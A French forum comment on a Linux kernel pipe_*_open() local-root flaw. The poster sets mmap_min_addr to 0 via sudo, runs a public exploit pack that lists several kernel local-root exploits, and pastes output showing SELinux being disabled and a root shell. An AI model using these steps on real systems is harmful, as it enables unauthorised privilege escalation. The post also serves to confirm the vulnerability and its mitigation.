• [^] # Re: Brad a publié son exploit

    Posté par (site web personnel) . En réponse à la dépêche Faille locale dans les fonctions pipe_*_open() du noyau Linux. Évalué à 3.

    En passant, SELinux est désactivé et cat /proc/sys/vm/mmap_min_addr affiche 4096

    Maintenant si


    $ sudo sh -c 'echo 0 > /proc/sys/vm/mmap_min_addr'
    $ cat /proc/sys/vm/mmap_min_addr
    0


    Et l'exploit fonctionne, avec un joli message qui moque SELinux, et j'ai un shell root.


    $ ./run_null_exploits.sh
    Compiling exp_cheddarbay.c...OK.
    Compiling exp_ingom0wnar.c...OK.
    Compiling exp_moosecox.c...OK.
    Compiling exp_paokara.c...OK.
    Compiling exp_powerglove.c...OK.
    Compiling exp_therebel.c...OK.
    Compiling exp_vmware.c...OK.
    Compiling exp_wunderbar.c...OK.
    [+] MAPPED ZERO PAGE!
    Choose your exploit:
    [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
    [1] MooseCox: Linux-2.X->Linux.2.6.31.unfixed pipe local root
    [2] Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root
    [3] Powerglove: Linux 2.6.31 perf_counter local root
    [4] The Rebel: Linux < 2.6.19 udp_sendmsg() local root
    [5] CVE-2009-2267: VMWare vm86 guest local root
    [6] Wunderbar Emporium: Linux 2.X sendpage() local root
    [7] Exit
    > 1
    ------------------------------------------------------------------------------
    With people of limited ability modesty is merely honesty. But with those
    who possess real talent it is hypocrisy. --Schopenhauer
    ------------------------------------------------------------------------------
    [+] Resolved ima_audit to 0xc0acd58c
    [+] Resolved ima_file_mmap to 0xc057da68
    [+] Resolved ima_bprm_check to 0xc057da8d
    [+] Resolved ima_path_check to 0xc057d742
    [+] Resolved selinux_enforcing to 0xc0acb1f8
    [+] Resolved selinux_enabled to 0xc097232c
    [+] Resolved security_ops to 0xc0aca1cc
    [+] Resolved default_security_ops to 0xc0971e4c
    [+] Resolved sel_read_enforce to 0xc05714a3
    [+] Resolved audit_enabled to 0xc0a6e46c
    [+] Resolved commit_creds to 0xc0455765
    [+] Resolved prepare_kernel_cred to 0xc04555c6
    [+] Using newer pipe_inode_info layout
    [+] We'll let this go for a while if needed...
    [+] got ring0!
    [+] detected cred support
    [+] Disabled security of : nothing, what an insecure machine!
    [+] Got root!
    ...
    (GConf errors)
    ...
    sh-4.0# id
    uid=0(root) gid=0(root)
    sh-4.0# exit


    Et je ne pense pas que PulseAudio ait grand chose a voir avec cet exploit, il me semble qu'il s'agit d'autre chose.

    Maintenant:
    $ sudo sh -c 'echo 4096 > /proc/sys/vm/mmap_min_addr'